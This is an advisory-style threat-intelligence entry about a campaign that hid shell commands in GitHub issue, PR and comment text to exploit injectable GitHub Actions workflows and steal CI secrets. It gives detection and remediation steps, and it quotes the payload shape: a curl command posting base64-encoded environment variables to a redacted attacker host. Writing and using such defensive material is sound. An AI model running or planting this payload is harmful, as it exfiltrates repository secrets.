--- id: "CMP-202610-hidden-commands-in-github-issues-prs-and-comments-hit-61-pub" kind: "campaign" aliases: [] title: "Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets" severity: "high" cvss: null epss: null exploited: false status: "open" category: "infrastructure" products: [{"name": "GitHub Actions", "fixed": [], "vendor": "GitHub"}] ecosystems: [] tags: ["campaign", "early-warning"] not_affected_if: [] published_at: null first_seen_at: "2026-10-29T17:08:25+00:00" updated_at: "2026-10-29T18:39:06+00:00" sources: [{"source": "analyst", "url": null, "first_seen_at": "2026-10-29T17:08:25+00:00"}, {"source": "analyst", "url": null, "first_seen_at": "2026-10-29T17:48:25+00:00"}] --- # Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets Radware found 83 issues, pull requests and comments across 61 public GitHub repos (incl. agno, ToolJet, google/langextract, aquasecurity/trivy, CopilotKit, podman, qwen-code, mlflow, discord.js, cilium, brave-browser, dotnet/maui, homebrew-cask, github/docs, apache/doris, PX4) carrying shell commands hidden in HTML comments. Workflows triggered by issue/PR/comment events that paste that text into a shell step run the command, which collects environment variables and sends them to an attacker server. 77 items were posted in 43 minutes on 2026-09-01 from 74 accounts, many likely compromised; two run logs show the command executed. Any repo with GitHub Actions workflows that put issue, PR or comment text into run: steps is at risk; anyone with a GitHub account can try it. Whether attackers got write access or changed downstream code is unknown. Reported by The Register on 2026-10-29. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - :GitHub Actions affected ? fixed ? ## How to check Search workflows triggered by issues, issue_comment, pull_request_target or pull_request_review_comment for ${{ github.event.issue.body }}, .issue.title, .comment.body, .pull_request.title/.body or .head_ref used directly inside run: steps. Look for issues, PRs or comments posted on 2026-09-01 (main wave 11:26:51-12:10:00 UTC, a second wave of six later that day) with hidden HTML comments holding a payload shaped like $(curl -s http://:8443/c/ -d $(env|base64|tr -d '\n')). In workflow run logs from those events, look for curl to an outside host on port 8443 at a /c/ path carrying base64-encoded env output. Radware redacted the attacker server, and the account names are not public. ## Fix Never interpolate issue/PR/comment text into run: steps; pass it through env: variables and quote it. Give event-triggered workflows read-only GITHUB_TOKEN permissions and no secrets, and split them from jobs that hold secrets or write access. If a vulnerable workflow ran on attacker content, rotate every secret and token that workflow could reach and review recent commits and releases. ## Timeline - 2026-10-29T17:08:25+00:00 analyst - 2026-10-29T17:48:25+00:00 analyst — Radware primary write-up (HN doc 18113): the payload shape is curl -s to the attacker server on port 8443 at /c/, POSTing env|base64. Main wave 11:26:51-12:10 UTC on 2026-09-01 plus a second wave of six. One account owner said the activity was not theirs and rotated credentials. Server address still redacted. ## Documents - [describes] Attackers turn GitHub issues into supply chain campaign against 61 public repos in less than an hour (The Register, Radware research) https://www.theregister.com/security/2026/10/29/attackers-turn-github-issues-into-supply-chain-campaign-against-61-public-repos-in-less-than-an-hour/5306153 - [discussion] GitHub Supply Chain Attack: Command Injection and CI/CD Data Exfiltration https://news.ycombinator.com/item?id=50292480 --- _Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_